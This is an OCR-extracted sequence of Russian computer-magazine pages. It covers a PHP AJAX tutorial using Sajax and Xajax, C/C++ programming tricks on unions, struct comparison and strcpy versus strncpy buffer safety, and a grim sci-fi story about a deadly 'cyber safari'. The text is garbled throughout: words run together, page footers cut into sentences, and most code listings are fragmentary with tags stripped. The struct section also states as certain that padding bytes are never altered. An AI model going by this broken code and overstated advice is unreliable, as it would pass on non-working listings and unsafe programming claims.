и клиентский код мы можем (и будем :))писать в одном файле. Функционал у нашейпервой программы будет очень простым: мы на-жимаем кнопку, и в текстовое поле загружаетсятекст, разумеется, без перезагрузки страницы.Для начала сделаем серверную часть, в которойбудет экспортироваться функция, возвращающаятекст для клиента:Серверная часть скрипта


codingПоле с автозавершением Простейшее приложение с использованием Sajaxsajax_handle_client_request();?>Последняя строка этого скрипта автоматическиобрабатывает запросы клиента.Ну что же, перейдем к клиентской части, которойнадо выдать HTML и JavaScript (поместим мы еев тот же файл, сразу за закрывающимся тэгом PHP).Для автоматической генерации JavaScript мывоспользуемся библиотечной функциейsajax_show_javascript(), а для асинхроннойработы JavaScript — определим функциюdo_hello_world, которая будет вызыватьсяпри нажатии кнопки, и функцию do_hello_world_callback, которая сработает при полученииответа сервера и положит результатв текстовое поле.Вся соль библиотеки Sajax кроется в работеdo_hello_world, которая вызывает автоматическисгенерированную x_hello_world. Фактически, мыиз JavaScript вызываем функцию, которая написанана PHP и хранится на сервере, а в качестве параметрапередаем ей функцию обратного вызова:Клиентская часть скриптаHello, world! by sAJAXfunction do_hello_world_callback(result){document.getElementById("return_string").value = result;}function do_hello_world(){x_hello_world(do_hello_world_callback);}


codingФорма регистрацииcallback(result){document.getElementById("messages").innerHTML = unescape(result);}function do_add_message() {message = document.getElementById("message").value;x_add_message(message,do_add_message_callback);}При нажатии на кнопку «Отправить» вызываетсяфункция x_add_message, которойв качестве параметра передается не толькофункция обратного вызова, но и содержимоетекстового поля. Надеюсь, внимательный читательобратил внимание и на вызов функцииunescape(result) для нормального отображениякириллических символов. Если нет желаниякаждый раз вызывать ее, можно пропатчитьсаму библиотеку.XajaxНесмотря на то что эта библиотека чуть мощнеепредыдущей, работать с ней не намного сложнее.Чтобы быстро войти в курс дела, посмотрим,как можно с помощью Xajax загрузить файлпо нажатию кнопки:Загрузка файла при помощи XajaxЗагрузка файла


codingЗагрузка файла в XajaxНа пароль мы наложим только ограничение по длине: 6символов. Дополнительные проверки можешь придуматьсам — все зависит от твоей фантазии ;). Вся система будетсодержать 3 файла:• register.common.php – общий функционал для клиента исервера;• register.server.php – серверная часть для проверки логина,пароля и обработки формы;• register.php – клиентская часть с интерактивной формойввода.Начнем с общей части для клиента и сервера, в которойбудут регистрироваться 3 функции для проверки логина,пароля и для приема данных с клиента. Поскольку сервернаячасть будет у нас в отдельном файле, это надо указатьв конструкторе объекта $xajax:register.common.phpФункции для проверки я предлагаю описать отдельно,так как они будут вызываться у нас в двух случаях: когдаформа будет передана на сервер и когда по мере наборатекста пользователем будет происходить автоматическаяпроверка:Функции для проверки логина и пароля(register.server.php)function isUserNameGood($userName){// Их надо брать из базы ;)$users = array("bill", "john", "vasya");if (strlen($userName)


codingГостевая книга на AJAX Drug'n'Drop на Projaxreturn array(true, "Имя пользователяподходит");}function isUserPassGood($userPass){$objResponse = newxajaxResponse();if (strlen($userPass) addAssign("userNameOk", "innerHTML",$message);return $objResponse;}function checkUserPass($userPass){$objResponse = newxajaxResponse();list($isUserPassGood, $message)= isUserPassGood($userPass);$objResponse->addAssign("userPassOk", "innerHTML",$message);return $objResponse;}Отмечу, что результат у меня помещаетсяв специальные ячейки в таблицес айдишниками — userNameOkи userPassOk, которые мы опишемна стороне клиента. И последнее, чтонам осталось сделать на сервере, —это создать функцию, которая будетобрабатывать данные из формы длярегистрации пользователя. Всесодержимое передается этойфункции в виде параметра, который представляетсобой ассоциативный массив(аналог $_POST и $_GET):Функция для обработки формы(register.server.php)function submitForm($formData){$objResponse = newxajaxResponse();list($isUserNameGood,$message) = isUserNameGood($formData['userName']);$objResponse->addAssign("resultDiv", "innerHTML",$message);list($isUserPassGood,$message) = isUserPassGood($formData['userPass']);$objResponse->addAppend("resultDiv", "innerHTML","" . $message);if ($isUserNameGood &&$isUserPassGood)$objResponse->addAppend("resultDiv", "innerHTML","Регистрацияпрошла успешно");else$objResponse->addAppend("resultDiv", "innerHTML","Регистрациязавершилась неудачей");return $objResponse;}Обрати внимание, что в этих скриптах я нигдене использую базу данных или любое другоепостоянное хранилище, чтобы код не потерялясность. В реальных условиях при успешнойрегистрации пользователя обязательнонадо сохранять его данные, да и получатьсписок пользователей надо тоже из какого-тохранилища. Теперь напишем клиентский код,который будет описывать форму регистрации.Чтобы браузер отправил форму без перезагрузкистраницы, нужно «обнулить» (точнее,/ 134xàêåð 02 /98/ 07


coding«завойдить» :)) параметр action у формыи прописать событие onsubmit. При этомсобытии будет вызвана JavaScript-функцияxajax_sumbitForm, которая является оберткойнашей серверной функции submitForm,а параметром будут как раз данные формы.Проверка данных формы во время их наборапользователем осуществляется при помощивызова соответствующих функций по событиюonkeyup:Клиентский код (register.php)Регистрация пользователяfunction submitForm(){xajax.$('submit').disabled=true;xajax.$('submit').value= "Регистрируетсяпользователь...";xajax_submitForm(xajax.getFormValues("registrationForm"));return false;}


codingКрис Касперскитрюкиот крысаПрограммерские трюки и фичиот криса касперскиКак известно, денно и нощно Крыс сидит в своей норе и точит программное обеспечение.Поточит-поточит да и напишет статейку. Для чего же он это делает? А все длятого, чтобы ты, дорогой читатель «Х», не крутился как белка в колесе и не наступална грабли, на которые мыщъх уже успел наступить.unions vs нецензурный01 кастингТипизация, призванная оградить программистаот совершения ошибок, хорошоработает лишь на бумаге, а в реальной жизнипорождает множество проблем (особеннопри низкоуровневом разборе байтов), решаемыхс помощью явного преобразованиятипов или, другим словами, «кастинга» (отанглийского «casting»), например, так:int *p; char x;…x = *(((char*) p)+3); / / получитьбайт по смещению 3 от ячейки *pТипизация была серьезно ужесточена вприплюснутом Си, вследствие чего количествоопераций явного преобразования резковозросло, захламляя листинг и культивируяпорочный стиль программирования.Рассмотрим следующую ситуацию:Жесткая типизация приплюснутогоСи трактует попытку передачи void*вместо char* как ошибкуf00 (char *x); / / функция, ожидающаяуказателя на charvoid* bar (); / / функция, возвращающаяобобщенный указатель voidf00 (bar ()); / / ошибка! Указательна char не равнозначен указателюvoid*Здесь функция f00 принимает указатель наchar, а функция bar возвращает обобщенныйуказатель void*, который мы должны передатьфункции f00, но… мы не можем этого сделать!Компилятор, сообщив об ошибке приведениятипов, остановит трансляцию. Что здесьплохого? А то, что у программиста вырабатываетсяустойчивый рефлекс преобразовыватьтипы всякий раз, когда их не может проглотитькомпилятор, совершенно не обращая вниманияна их «совместимость», в результате чегоконстанты сплошь и рядом преобразуютсяв указатели, а указатели — в константы совсеми вытекающими отсюда последствиями.Но по‐другому программировать просто неполучается! Различные функции различныхбиблиотек по‐разному объявляют физическиидентичные типы переменных, так что от преобразованияникуда не уйти, а ограничитьсяодной конкретной библиотекой все равноне получится. Платформа .NET выглядитобнадеживающе, но… похожая идея (объятьнеобъятное) уже предпринималась не раз ине два и всякий раз заканчивалась если непровалом, то разводом и девичьей фамилией.Взять хотя бы MFC… и попытаться прикрутитьее к чему‐нибудь еще, например, к API-функциямоперационной системы. Преобразованийтам будет…Но частые преобразования очень напрягают,особенно если их приходится выполнять надодним и тем же набором переменных. В этомслучае можно (и нужно) использовать объединения,объявляемые ключевым словом«union» и позволяющие «легализовать» операциимежду разнотипными переменными.С использованием объединений наш кодбудет выглядеть так:Использование объединений в Сидля избавления от явного преобразованиятипов/ * декларация объединения * /union pint2char {int *pi; / / указатель на intchar *pb; / / указатель на char} ppp;/ / объявление остальных переменныхint *p; char x;…/ / элегантный уход от кастингаppp.pi = p; x = *(ppp.pb + 3);На первый взгляд, вариант с объединениямидаже более громоздкий, чем безних, но объединение достаточно объявитьединожды, а потом использовать сколькоугодно раз, и с каждым разом приносимыйим выигрыш будет увеличиваться, не говоряуже о том, что избавление от явных преобразованийулучшают читабельность листинга.Приплюснутый Си идет еще дальше иподдерживает анонимные объединения,которые можно вызвать без объявленияпеременной-костыля, которой в даннойслучае является ppp. Переписанный листингвыглядит так:Использование анонимных объединенийв С++ избавляет нас откастинга, но делает логику работыкода менее очевиднойunion { / * декларация анонимногообъединения * // / обобщенный указатель void*void *VOID;/ / указатель на charchar *CHAR;};/ / уход от кастингаVOID = bar (); f00 (CHAR);Анонимные объединения элегантноизбавляют нас от кастинга, но,в то же самое время, затрудняют чтение/ 136xàêåð02 /98/ 07


codingлистинга, поскольку из конструкции«VOID = bar (); f00 (CHAR);» совершенноне очевидно, что функцииf00 передается значение, возращенноеbar. Не видя объединения, можно подумать,что VOID и CHAR — это две разныепеременные,когда, на самом деле, это одна физическаяячейка памяти.В общем, получается замкнутый круг, выходаиз которого нет…02Сравнение структурВ языке Си отсутствуют механизмы сравненияструктур, и все учебники, которыемыщъху только доводилось курить, пишут,что структуры вообще нельзя сравнивать, вовсяком случае побайтово. Поэлементноможно, но это не универсально (так как длякаждой структуры приходится писать своюфункцию сравнения), не производительно ивообще не по‐хакерски.Чем мотивирован запрет на побайтовоесравнение структур? А тем, что компиляторы поумолчанию выравнивают элементы структурыпо кратным адресам, обеспечивая минимальноевремя доступа к данным. Величина выравниваниязависит от конкретной платформы, иесли она отлична от единицы (как это обычно ибывает), между соседними элементами могутобразовываться «дыры», содержимое которыхне определено. Вот эти самые «дыры» и делаютпобайтовое сравнение ненадежным.На самом деле, сравнивать структурывсе‐таки можно. Имеется как минимум двапути решения этой проблемы. Во-первых,выравнивание можно отключить соответствующейпрагмой компилятора или ключомкомандной строки. Тогда «дыры» исчезнут,но… вместе с ними исчезнет и скорость (вовсяком случае, потенциально). Падениепроизводительности иногда может бытьочень значительным (а некоторые процессорыпри обращении к невыравненнымданным и вовсе генерируют исключение),и хотя при правильной группировке членовструктуры его можно избежать, это не лучшеерешение.Исследование «дыр» (и логики компиляции)показывает, что их содержимое легкосделать определенным. Достаточно передобъявлением структуры (или сразу жепосле объявления) проинициализироватьпринадлежащую ей область памяти, забив еенулями, и… это все! Компилятор никогда неизменяет значение «дыр» между элементамиструктуры, и даже если структура передаетсяпо значению, она копируется вся целиком,вместе со всеми «дырами», которые только унее есть. Следовательно, побайтовое сравнениеструктур абсолютно надежно. Главное, незабывать об инициализации «дыр», которая вобщем случае делается так:«Обнуление» области памяти, занятойструктурой, дает зеленый светоперации побайтового сравненияstruct my_struct { /* декларацияпроизвольной структуры */int a;char b;int c;};// объявление структуры XXstruct my_struct XX;// объявление структуры XYstruct my_struct XY;// инициализируем область памятиструктуры XXmemset(&XX,0,sizeof(XX));// и область памяти структуры XYmemset(&XY,0,sizeof(XY));/ / что‐то делаем со структурамиif (! memcmp(&XX,&XY,sizeof (XX))/* структуры идентичны */else/* структуры _не_ идентичны */03strncpy vs strcpyВ борьбе с переполняющимися буферамипрограммисты перелопачивают тонныисходного кода на погонный метр, заменяявсе потенциально опасные функции ихбезопасными аналогами с суффиксом n,позволяющим задать предельный размеробрабатываемой строки или блока памяти.Часто подобная замена делается чисто механически,без учета специфики n-функций,и не только не устраняет ошибки, но дажеувеличивает их число. Вероятно, самымпопулярным ляпом является смена strcpy наstrncpy. Рассмотрим код вида:Потенциально опасный код, подверженныйпереполнениюf00 (char *s) {char buf [BUF_SIZE];…strcpy (buf, s);}Если длина строки s превысит размер буфераbuf, произойдет переполнение, результатомкоторого зачастую становится полная капитуляциякомпьютера перед злоумышленником.Многие переписывают этот код так:по‐прежнему потенциально опасныйвариант того же кодаf00 (char *s) {char buf [BUF_SIZE];…strncpy (buf, s, BUF_SIZE);}Хе-хе. Если размер строки s превысит значениеBUF_SIZE (или BUF_SIZE-1), функцияstrncpy прервет копирование, забыв поставитьзавершающий ноль. Причем об этомбудет очень трудно узнать, поскольку сообщениеоб ошибке при этом не возвращается,а попытка определить фактическую длинускопированной строки через strlen (buf) ник чему хорошему не приводит, поскольку вотсутствии завершающего нуля в лучшемслучае мы получаем неверный размер, вхудшем — исключение.Находятся программисты, которые добавляютзавершающий ноль вручную:Не подверженный переполнению,но неправильно работающий кодf00 (char *s) {char buf [BUF_SIZE];…buf [BUF_SIZE-1] = 0;strncpy (buf, s, BUF_SIZE-1);}Такой код вполне безопасен в плане переполнения,однако, порочен и ненадежен,поскольку маскирует факт обрезания строки,что приводит к непредсказуемой работе программы.Допустим, например, в переменнойs передается путь к каталогу для удаленияего содержимого. Допустим также, что длинапути превысит BUF_SIZE и он окажется усечен.Если усечение произойдет на границе»\», то удаленным окажется совсем другойкаталог, причем более высокого уровня!Самый простой и единственно правильныйвариант выглядит так, как показано в листинге,приведенном ниже. А функция strncpy,кстати говоря, изначально задумывалась длякопирования неASCIIZ‐строк, то есть строк,не содержащих символа завершающегонуля, и это совсем не аналог strcpy! Эти двефункции не взаимозаменяемы!Безопасный и правильно работающийвариантf00 (char *s) {char buf [BUF_SIZE];…if (strlen (s)>=BUF_SIZE)return ERROR;else strcpy (buf, s);} zxàêåð 02 /98/ 07/ 137


креатиffmeganews/138xàêåð02 /98/ 07


креатиffNiro/ niro@real.xakep.ru /© Стас «Chill» Башкатовкажу честно, при слове«сафари» у меня возникалисовершенно другие ассоциации.Я сразу видел передсобой львиный прайд, ленивовозлегающий на солнце посреди огромнойсаванны, обмахивая себя хвостами, временаминеприветливо рыкающий друг на друга и наожидающих звериной ласки самок. Огромныеджипы, увешанные целыми батареями прожекторов,мчались по оранжевой земле, выбрасываяиз-под колес тучи пыли; стрелки, привязанныеремнями к металлическим каркасам,прижимая к плечу приклады, вглядывалисьв сумерки в саванне…Так что, придя сюда, в эту контору со страннымназванием «Киберсафари», я ожидал увидетьчто-то, связанное с теми же львами. Тольковместо джипов и ружей мне должны былипредложить нечто очень и очень современное— с лазерным прицелом и самонаведением,с интеллектуальным прицеливанием и приспособлениемдля гашения колебаний стволапри езде на джипе.Открыв дверь, я увидел двух молодых людей,сидящих за компьютерами и, судя по всему,играющих в какую-то сетевую игру. Онине обратили на меня никакого внимания,выкрикивая что-то на своем сленге и время отвремени уворачиваясь от экранов. Я и сам вовремя чересчур реалистичных игр порой ловилсебя на том, что пытаюсь выглянуть из-за углаили отстраниться от стреляющего в упор врага,но насколько смешно это выглядит со стороны,я заметил только что.Выждав пару минут, я вежливо кашлянул. Одиниз них, по-видимому проигрывающий, сердитострельнул глазами в мою сторону, потом кинулвзгляд на напарника и крикнул:— Перекур!Тут и второй игрок заметил меня, щелкнулпарой клавиш и, практически выпрыгнув изсвоего кресла, направился ко мне:— Прошу прощения, добрый день! Здравствуйте,мы очень рады вас видеть!..Мне показалось, что клиентов здесь не былодовольно давно — слишком много вежливыхслов накопилось у этого менеджера, слишкомрьяно и бессвязно рассыпал он передо мнойсвою лесть и подобострастие.— Мы приветствуем вас в нашей фирме — лучшей,не побоюсь этого слова, фирме, умеющейудивить человека и показать ему чудеса сафари!Вы не пожалеете, уверяю вас! Все ваши тайныемечты и желания, все, что только вы сможетесебе представить, мы воплотим в жизнь!Я слушал его, не скрывая своего удивления.Какие тут могут быть тайные желания и мечты,кроме того, что очень хочется покататьсяпо саванне на джипе и пострелять из карабина?Тем более, если это сафари идет с интригующейприставкой «кибер». Однако менеджер продолжалрассыпаться в любезностях, и у меня сложилосьвпечатление, что это один из приемовпо заманиванию клиентов в сети фирмы, этакийфирменный знак общения с клиентами. И либоты не выдерживаешь потока лести и уходишьс больной головой, унося в душе ненавистьк туризму вообще и к сафари в частности, либопроникаешься этим ядом и попадаешь в ихпрофессиональный капкан.Я относился ко второй группе клиентов — такимя был всю жизнь, покупаясь на дешевую рекламуи улыбки идиотов за компьютерами. Поэтомууже через десять минут подобного общения сомной мне подсунули пару больших бумаг, кудая внес все необходимые данные, потом далписьменное согласие на участие в сафари и заполнилстраховку на довольно приличную сумму.— А что, часто бывают несчастные случаи?— последнее меня очень заинтересовало, таккак стоимость приключения увеличиваласьиз-за страховки почти на пятнадцать процентов.— Ваше учреждение пострадало пару рази теперь ему нужны гарантии?— Что вы, э-э-э… — тот менеджер, которыйоформлял мою путевку, заглянул в документы,— Алексей, прецедентов, слава богу, ещене было. Но бизнес — есть бизнес. Тут уж никудане денешься — это условия, которые необходимособлюдать.Я понимающе кивнул, еще раз бегло просмотрелтекст страховки и, не заметив ничего криминального,подписал все три экземпляра.Менеджер удовлетворенно кивнул, потомаккуратно сложил все в папку и предложилрасплатиться.— Мы работаем со стопроцентной предоплатой,— развел он руками. — И это такое жеусловие, как и страховка. Если же вы окажетесьнедовольны нашим сафари, то можете получитьназад ровно половину. Остальная часть, извините,уходит на разного рода невосполнимыерасходы. И к слову сказать, никто еще ни разуне высказал своего неодобрения.— Не хотите ли опробовать снаряжение?— вступил в разговор второй менеджер. — Всеочень индивидуально, поэтому подбирать надотщательно, от шлема до ботинок, от прицела допатронов. Ну, так как, Алексей, вы готовы?Конечно же, я был готов. И когда я увидел то,в чем я буду охотиться, я позавидовал сам себе.Они принесли все достаточно быстро, словно ихмаленькая фирма имела где-то неподалеку довольнобольшой склад, рассчитанный на таких,как я. На тех, кому надо все и сразу.Первый тащил на себе большой мешок, изкоторого свешивались ремни цвета хаки.Второй держал в обеих руках что-то, отдаленнонапоминающее автоматы, — об этом я догадался,увидев в этих чудесах двадцать первого векастволы и нечто похожее на магазины.Комбинезон пришелся мне впору — несколькоремней, затянутых на бедрах и груди, автоматическиподогнали его размер под моюдалеко не самую богатырскую фигуру. Я парураз взмахнул руками, присел, с удовольствиемслушая скрип кожи и пластиковых сочленений,после чего кивнул и показал большой палец.Это послужило для менеджеров сигналом к последующимдействиям. Уже через пять минутя примерил и перчатки, и сапоги, и огромныйпояс с множеством карманов — для ножа и несколькихмагазинов.Мне показали на зеркало — я взглянул и осталсядоволен, ибо произвел сам на себя впечатлениегероя фильма «Универсальный солдат».А когда мне в руки сунули автомат, это впечатлениестократно усилилось.Я разглядывал произведение военного искусствас благоговением: мурашки бежали по кожеxàêåð 02 /98/ 07/139


креатиffmeganewsот длинного ствола с мощным охлаждением, отогромного магазина с какими-то цифровыминаворотами; рука плотно обхватила анатомическоецевье. Приклад сам лег к плечу,и я увидел в прицел с оптическим зуммингомнапуганное лицо одного из менеджеров.— Раз в год, знаете ли, — он аккуратно, однимпальцем, отвел ствол в сторону от головы,— и палка стреляет. Вы с этим поосторожнее.Еще успеете поохотиться, мы вам обещаем.— А как насчет потренироваться? — поинтересовалсяя, будучи приятно возбужден от видаи ощущения оружия в своих руках. — Все-такия не каждый день на сафари езжу…— Туториал, — хмыкнул второй менеджер.— Обучающий уровень. Как вы думаете, здесьесть место для тира? — и он обвел рукамималенькое офисное помещение. — Где вы собралисьтренироваться? Вот попадете на место— там и лупите в белый свет, как в копеечку.Тем более что в стоимость тура входит пятьдесятмагазинов. По тридцать патронов. Плюсдесять подствольных гранат. Ну как, все ещехотите потренироваться?Я отрицательно покачал головой, представивсебе полторы тысячи выстрелов и десять взрывов.За глаза хватит…— Бедные львы, — прошептал я довольногромко, чтобы парни услышали это. В ответ онипереглянулись, и один спросил:— Шлем примерять будем?Я пожал плечами и в знак согласия кивнул. Мнена голову водрузили конструкцию, явно не подходящуюдля охоты в саванне. Я покрутил шеей,пытаясь вникнуть в смысл этой штуки, и отметилпро себя, как срабатывает стекло-«хамелеон»при взгляде на лампы дневного света в офисе.Щекой я ощутил маленький микрофон, один изменеджеров вставил мне в ухо клипсу наушника.— Как ощущения? — услышал я вопрос.Приятное стереозвучание, напоминающееFM-радио.— О’кей, — махнул я рукой. — Вроде все насвоем месте.— Как дышится? Как вообще — клаустрофобиейне страдаете? — спросил кто-то за спиной.Видно было их достаточно плохо, мне пришлосьповернуться, и я встретился взглядом с тем,кто меня одевал. Парень протягивал мнеавтомат.— Да никогда не жаловался, — ответил я.— В лифтах в детстве не застревал. Так что этотто ли костюм, то ли скафандр воспринимаюадекватно.— Вот и замечательно, — улыбнулись мнев ответ. — А уж как насчет лифтов верно, еслибы вы только знали…/ 140Он протянул руку к шлему, сделал незаметноедвижение, и я услышал легкий щелчок. В этотмомент мне все вдруг перестало нравиться— я попытался снять шлем и понял, что заблокированв нем насмерть. А еще через секундумоих ноздрей достиг приятный запах.Я принюхался, пытаясь понять, что же это,заметил, что ближе к нижним углам «хамелеон»немного запотел, и догадался, что мне под шлемзакачивают какую-то гадость…Потом все закружилось, завертелось в бесконечнойкарусели, я покачнулся, пытаясьухватиться за воздух. Мимо меня промелькнулилица менеджеров; я выпустил из рук автомат;откуда-то донесся голос матери, потом звук то липоезда, то ли самолета; что-то гудело, гремело;со мной говорили десятки голосов; мир окрашивалсяв разные цвета…Затем все исчезло. Поезд уехал, самолет улетел,мама покинула меня, розовые тона сменилисьсерыми… Я лежал на полу какой-то маленькойкомнатушки. Подо мной было что-то большоеи железное. Автомат. Я перевалился на спину.Комбинезон, шлем, пояс с магазинами — всеосталось на месте. Вот только, где был я, понятьсразу оказалось невозможно.Видимо, мое дыхание в шлеме достигло чьих-тоушей. В наушнике раздался тихий шелест,вздох, и кто-то спросил:— Алексей, вы слышите меня?Я замер. Ответить — означало начать какуютостранную и страшную игру, в которойя был, похоже, пешкой. Двое в меру хитрыхпарней купили меня на рекламу сафари,сунули в руки автомат, обрядили в суперкомбинезон,после чего дунули под шлемэкзотической дрянью и засунули в… Еслия не ошибаюсь и последняя шутка былав тему, то сунули меня в лифт, где я и находилсяв настоящий момент.— Слышу, — отозвался я, поскольку вариантову меня не было — чтобы понять, что происходит,надо было разговаривать. — Что вы со мнойсделали?— Ничего особенного, — снова сказали в ухе,и я узнал голос первого менеджера — того, чтовстретил меня с распростертыми объятиями.— Вы хотели обучающий уровень. Туториал. Мывам его устроили.— В смысле? — я поднялся, потрогал стеныкабинки лифта, в котором находился (то, чтоэто лифт, было абсолютно очевидно: рядыкнопочек возле двери, поручни вдоль всего периметра,тусклая лампа на потолке). — Засунулименя в какой-то шкаф, а теперь еще и ругаетесьнепонятными словами?— Никто не ругается, — раздалось в ответ.— Сейчас дверь откроется, и вы окажетесь наполигоне…— Где вы его взяли, этот полигон? — раздражениев моем голосе скрыть было невозможно.— Все, что вы делаете сейчас, — это законно?И это входит в страховку?— Конечно. вы же читали…— Читал… Конечно… Вы даже не объяснили,как пользоваться оружием, — буркнул я, не собираясьпризнаваться в том, что прогляделтекст страховки, особенно не вчитываясь в него.— И что ждет меня на этом вашем полигоне?Я не из пугливых, но тем не менее…— Обхватите автомат правой рукой, и когдаваши пальцы лягут на спусковой крючок, рядомс большим пальцем окажется маленький рычажок.Сдвиньте его вниз, и оружие будет готовок бою. И, пожалуйста, сделайте это сейчас, дотого, как выйдете из лифта.Последние слова заставили меня вздрогнуть.Я нашел предохранитель, щелкнул им и внимательнопосмотрел на закрытые створки лифта.— А если я не хочу… на полигон? — нерешительноспросил я. — Можно отказаться?В ответ раздался тихий свист, и дверцы разошлисьв стороны.— У вас полторы тысячи патронов… — услышаля, а через секунду что-то грохнуло, кабинка лифтанаполнилась дымом, сильный удар в грудьсвалил меня с ног, отбросив к задней стенке.— Вы должны выбраться! Скорее! — крикнулииз наушника. — Очередь наугад и направо излифта!Но страх парализовал меня — выполнять какиетоинструкции было совершенно невозможно.Плюс ко всему, полностью пропали способностиразговаривать и соображать. В ушах звенело,а перед глазами порхали какие-то яркие разноцветныеточки, временами сливаясь в цветнойхоровод.— Вперед!Этот крик вернул меня к жизни. Я нажал наспусковой крючок, совершенно не представляя,куда направлен ствол, и радуясь тому, чтоне выронил оружия при падении.Справа от меня с хрустом осыпалась приборнаяпанель лифта, потом моя длинная очередь вынеслачасть боковой стены, за которой я увиделмножество тросов и каменную кладку. Снаружидонесся то ли рык разъяренного животного, толи шум неизвестного механизма.Я с трудом поднялся на ноги, опираясь на ствол.— Куда… Что происходит? Верните меня назад!— крикнул я.— Из лифта — направо! — раздалась команда.— Направо! И помните, это обучающий уровень!Не пройдете — никаких сафари!xàêåð 02 /98/ 07


креатиffМне уже не хотелось никаких львов, никакойохоты, ничего — только бы исчезнуть из этогозадымленного лифта и проснуться дома в своейпостели. Особенно обидно было осознавать,что весь этот бред происходит со мной за моиже добровольно отданные деньги.Дым потихоньку рассеивался. Похоже, добиватьменя сразу никто не собирался. Стало чутьспокойнее; я убедил себя в том, что это такаяигра, такая тренировка с изрядной долей реализма.Глубоко вдохнув, отгоняя прочь мрачныемысли, я попытался вспомнить навыки бояв городе, которые когда-то приобретал, проходясрочную службу в десантно-штурмовом батальоне.Правда, было это уже тринадцать лет назади в жизни ни разу не пригодилось, но — чемчерт не шутит! Ненужных знаний не бывает,бывают невостребованные, и сейчас как разсамый случай их востребовать…Сделав первый шаг из лифта, я огляделся.В обе стороны уходил коридор, стены которогобыли выложены из камня. Множество ниши дверей, углубленных в стены, создавалинеплохие укрытия для безопасного продвиженияпо коридору.— Что я должен делать? В чем цель туториала?— коротко спросил я, пытаясь показать этимуродам наверху, что страху меня не одолеть.— Вы должны идти по светящимся синимстрелкам, — услышал я в ответ, — по путистрелять во все, что движется. Тридцать мишенейплюс десять ложных целей. Восемьдесятпроцентов попаданий дает вам возможностьполучить вашу долгожданную путевку. За вамиследит компьютер, вы видны на наших экранах.Ничего не бойтесь. Мы с вами. Если по путивам попадутся какие-то… странные, скажем так,декорации… — это декорации, не более того.Удачи.И я пошел. Первой же очередью удалосьсвалить что-то на четырех ногах, пустившеев меня маленькую ракету, развалившую в концекоридора кусок стены. Синие стрелки время отвремени вспыхивали то на потолке, то на полу,поэтому приходилось вертеть головой во всестороны.Стрелял я на каждый скрип, на каждый шорох.Изредка противник был удачлив — пара ударовв грудь, таких же, как в лифте, мне все-такидосталась. Я оценил по достоинству комбинезон,который сохранял мои ребра в целостии сохранности. Правда, дышать было чертовскитрудно.Через двадцать минут движения по полигонуя запутался в этих каменных джунглях, в десяткахповоротов, за каждым из которых моглаоказаться засада. Вспомнились и кувырки,xàêåð 02 /98/ 07/и перекаты, и стрельба из разных положений.Странным оставалось то, что мне ни разуне удалось увидеть останки поверженныхврагов — они куда-то исчезали, едва я приближалсяк ним.Несколько раз пришлось простреливатьнаиболее сложные участки из подствольногогранатомета. Куски каменной кладки рвало изстен, будто они были из картона. Я шел сквозьполигон как нож сквозь масло, и что-то во всейэтой картине не давало мне покоя — что-тонереальное, что-то, не имеющее право насуществование.И за очередным поворотом с очереднойкибертварью, разорванной в клочья гранатой,я понял, в чем дело.Я шел по этому полигону первым. Потомучто как иначе можно было объяснить то, чтоникаких разрушений, никаких пулевых выбоинв стенах, никакой каменной крошки — ничегоэтого не было нигде. Только за моей спиной.— Стоп, — сказал я сам себе.И тут же в наушниках раздалось:— Что случилось? Вы замечательно проходитепрограмму…— Программу… — я попробовал на вкусэто слово. — Не хотите объяснить мне поподробнее,где я нахожусь, и что вообще туттворится? Что это за нелегальный цирк?— Что вы такое говорите? — услышал я в ответ,потом раздалось какое-то бульканье и шипение.Я постучал по шлему кулаком, надеясьвосстановить связь, но мне это не удалось.— Уроды…Впереди я услышал какое-то шуршание и звукработающих сервомоторов. Скептическиотносясь к происходящему, я навел на этот звукгранатомет. Спустя несколько секунд из-за углапоказалась какая-то гадина серебристого цвета,предположительно на гусеницах — в полумракебыло плохо видно, но скрежет это тварьиздавала очень характерный. А на манипуляторахэтой жестянки висел человек. Полная копияменя, только без оружия. Комбинезон, шлем,пояс — эту картину дополняли безвольно свисающиеконечности и залитая кровью грудь.При развороте машина изрядно встряхнуласвой груз; я вскинул автомат к плечу, прижалсяк стене и прильнул глазом к прицелу. Зумминг,ощутив рядом с оптикой теплую человеческуюплоть, автоматически приблизил цель.«Если вы увидите какие-то странные декорации…— зазвучало в моем мозгу. — Десятьложных целей…»Машина выпустила в мою сторону длиннуюочередь — та штука на ее, с позволения сказать,плече, оказалась пулеметом. Сверху посыпаласькаменная крошка, загремела по шлему,заставила пригнуться и втянуть голову в плечи.Подобного к себе отношения я не терпел — полигонзаставил меня быть быстрым и жестоким.Я сделал пару выстрелов из гранатомета,радостно отметив, что тварь лишилась однойгусеницы и закрутилась на месте.Человек, залитый кровью, меня не интересовал— манекен, подумаешь. Одной ложнойцелью больше, одной меньше. Выбравмомент, когда машина повернулась ко мне тойстороной, откуда на меня не смотрели стволыпулеметов, я выскочил из укрытия и расстрелялвсе провода и коммуникации в коробевдоль спины этого чудовища. Машина дернуласьи замерла.Я подошел поближе и рассмотрел то, что онадержала в манипуляторах.Это был человек. Настоящий. Мертвый.Человек.— Послушайте… — начал было я, но тут в спинучто-то ударило. Больно… Я покачнулся, где-тона задворках сознания промелькнула мысль,что комбинезон все выдержит, но на этот разя ошибался. Ноги подкосились, я упал рядомс обездвиженной машиной.Второй удар пришелся на голову. Стекло шлемаразлетелось, что-то горячее и острое вонзилосьмне в лицо…«Ту-у! Ту-у! Ту-у!» — гудел ревун. Вдоль коридороввключились сирены и маячки, стеныозарились оранжевым светом…— Откуда он притащил его? — стукнул кулакомпо столу первый менеджер. — У тебя руки иззадницы растут что ли? Он бы сейчас первыйуровень прошел, мы бы подгрузили второйи могли бы играть еще часа три!— Я не виноват, — попытался оправдатьсянапарник. — Здесь очень сложное управление,зацепил в комбинации не ту клавишу…— Не ту клавишу! Идиот! В день два трупа— это чересчур!Он смотрел на монитор, где посреди экраналежали два мертвых человека в окружениизастывших монстров, ожидающих приказа.Потом он положил руку на джойстик, легонькошевельнул им, и киберохотники расползлисьпо своим нишам.— Ты же понимаешь — хоронить-то они неумеют. Только стрелять. Опять всесвоими руками… Это уже не киберсафари,а киберкладбище какое-то получается.Надо, чтобы там чего-нибудь поправили нашиумники. Ладно, не стой, напяливай спецодежду,бери пару лопат и в лифт. На сегодня— game over.И они отправились в подвал наводить порядок. z141


